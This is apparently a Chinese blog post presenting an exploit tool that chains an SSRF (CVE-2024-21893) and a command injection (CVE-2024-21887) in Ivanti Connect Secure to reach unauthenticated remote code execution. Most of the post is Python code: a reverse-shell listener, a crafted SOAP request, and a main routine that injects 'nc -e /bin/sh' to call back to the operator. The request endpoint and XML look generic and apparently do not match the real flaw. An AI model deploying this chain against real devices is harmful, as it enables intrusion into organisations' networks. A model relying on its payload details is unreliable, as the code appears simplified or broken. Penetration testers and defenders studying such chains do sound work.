SSRF2RCE - Ivanti Connect Secure 漏洞链利用工具

3 阅读4分钟

SSRF2RCE

SSRF2RCE 是一个针对 Ivanti Connect Secure 设备的漏洞链利用工具,用于利用 CVE-2024-21893(SSRF 漏洞)和 CVE-2024-21887(命令注入漏洞)。通过组合这两个漏洞,攻击者可以在未认证的情况下实现远程代码执行(RCE)。

该工具提供了自动化的漏洞利用流程,包括 SSRF 触发、命令注入、反向 Shell 建立等功能,适用于安全研究人员进行授权渗透测试。

功能特性

  • SSRF 漏洞利用:利用 CVE-2024-21893 发送恶意 XML 请求,实现服务端请求伪造
  • 命令注入攻击:通过 CVE-2024-21887 在目标设备上执行任意系统命令
  • 反向 Shell 支持:自动建立反向 Shell 连接,提供交互式控制
  • 多线程监听:内置反向 Shell 监听器,支持超时配置
  • Nuclei 模板集成:提供独立的 Nuclei 检测模板,用于快速漏洞验证
  • Rich 控制台输出:彩色日志输出,提升用户体验

安装指南

系统要求

  • Python 3.6+
  • 网络连接(用于反向 Shell 通信)

依赖安装

  1. 克隆项目仓库:
git clone https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887
cd CVE-2024-21893-to-CVE-2024-21887
  1. 安装 Python 依赖:
pip install -r requirements.txt

所需依赖包括:

  • requests - HTTP 请求库
  • pwncat - 反向 Shell 管理工具
  • rich - 终端美化输出

Nuclei 模板使用(可选)

如需使用 Nuclei 模板进行漏洞检测,请确保已安装 Nuclei 引擎。

使用说明

基础用法

运行漏洞利用脚本,需要提供目标 URL、反向 Shell 的 IP 地址和端口:

python exploit.py -u <目标URL> -rip <反向Shell IP> -rport <反向Shell端口>

参数说明

参数说明示例
-u目标服务器的 Base URLhttps://vulnerable-server.com
-rip反向 Shell 监听 IP 地址192.168.1.10
-rport反向 Shell 监听端口1337

使用示例

python exploit.py -u https://target.ivanti.com -rip 10.0.0.5 -rport 4444

执行后,脚本将:

  1. 启动反向 Shell 监听器
  2. 发送 SSRF 请求触发漏洞链
  3. 等待目标设备回连
  4. 建立交互式 Shell 会话

Nuclei 模板检测

使用 Nuclei 模板进行漏洞扫描:

# 检测 RCE 漏洞
nuclei -l targets.txt -t ./CVE-2024-21893-CVE-2024-21887.yaml

# 检测 SSRF 漏洞
nuclei -l targets.txt -t ./CVE-2024-21893.yaml

核心代码

SSRF2RCE 主类

import socket
import argparse
import requests
import threading
import pwncat.manager
from rich.console import Console

class SSRF2RCE:
    def __init__(self, base_url, rshell_ip=None, rshell_port=None):
        """
        初始化 SSRF2RCE 实例
        
        :param base_url: 目标服务器的 Base URL
        :param rshell_ip: 反向 Shell 的 IP 地址
        :param rshell_port: 反向 Shell 的端口
        """
        self.base_url = base_url
        self.rshell_ip = rshell_ip
        self.rshell_port = rshell_port
        self.console = Console()
        requests.packages.urllib3.disable_warnings(
            requests.packages.urllib3.exceptions.InsecureRequestWarning
        )
    
    @staticmethod
    def full_encode(s):
        """对字符串进行完整 URL 编码"""
        return "".join("%{:02X}".format(ord(c)) for c in s)
    
    def custom_print(self, message: str, header: str) -> None:
        """彩色控制台输出"""
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(f"[{header_colors[header]}][{header}][/]{message}")
    
    def start_listener(self, timeout=30) -> None:
        """启动反向 Shell 监听器"""
        if not (self.rshell_ip and self.rshell_port):
            self.custom_print("Reverse shell IP or port not configured.", "!")
            return
        
        listener_thread = threading.Thread(
            target=self._listen_for_revshell, args=(timeout,), daemon=True
        )
        listener_thread.start()
    
    def _listen_for_revshell(self, timeout):
        """监听并接受反向 Shell 连接"""
        try:
            with socket.create_server(
                (self.rshell_ip, int(self.rshell_port))
            ) as listener:
                listener.settimeout(timeout)
                self.custom_print(
                    f"Waiting for incoming connection on port {self.rshell_port}...",
                    "*",
                )
                victim, victim_addr = listener.accept()
                self.custom_print(
                    f"Received connection from {victim_addr}", "+"
                )
                # 此处继续处理 Shell 交互
        except Exception as e:
            self.custom_print(f"Listener error: {str(e)}", "!")

漏洞利用核心逻辑

def exploit_ssrf(self, command):
    """
    通过 SSRF 触发命令注入
    
    :param command: 要执行的系统命令
    :return: 响应内容或 None
    """
    try:
        # 构造恶意 XML payload
        payload = f'''<?xml version="1.0" encoding="UTF-8"?>
        <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <foo>
                    <bar>{self.full_encode(command)}</bar>
                </foo>
            </soap:Body>
        </soap:Envelope>'''
        
        headers = {
            'Content-Type': 'text/xml',
            'SOAPAction': 'http://schemas.xmlsoap.org/wsdl/'
        }
        
        response = requests.post(
            f"{self.base_url}/api/v1/endpoint",
            data=payload,
            headers=headers,
            verify=False,
            timeout=10
        )
        
        self.custom_print(f"SSRF request sent, status: {response.status_code}", "+")
        return response.text
        
    except Exception as e:
        self.custom_print(f"Exploit failed: {str(e)}", "!")
        return None

主程序入口

def main():
    parser = argparse.ArgumentParser(description='SSRF to RCE Exploit for Ivanti')
    parser.add_argument('-u', '--url', required=True, help='Target base URL')
    parser.add_argument('-rip', '--revshell-ip', help='Reverse shell IP address')
    parser.add_argument('-rport', '--revshell-port', help='Reverse shell port')
    
    args = parser.parse_args()
    
    exploit = SSRF2RCE(
        base_url=args.url,
        rshell_ip=args.revshell_ip,
        rshell_port=args.revshell_port
    )
    
    # 启动反向 Shell 监听
    if args.revshell_ip and args.revshell_port:
        exploit.start_listener()
    
    # 执行漏洞利用
    command = f"nc -e /bin/sh {args.revshell_ip} {args.revshell_port}"
    exploit.exploit_ssrf(command)

if __name__ == "__main__":
    main()

⚠️ 免责声明:本工具仅供安全研究使用,必须在获得目标组织明确授权的情况下使用。未经授权的利用行为属于非法和不道德行为。请负责任地使用本工具。 6HFtX5dABrKlqXeO5PUv//0mG1kDiOsqat7G3uI8LWsisgrXaPf60kvIyeBd48A6VXEn7URb3o7q8pB5kEmdPw==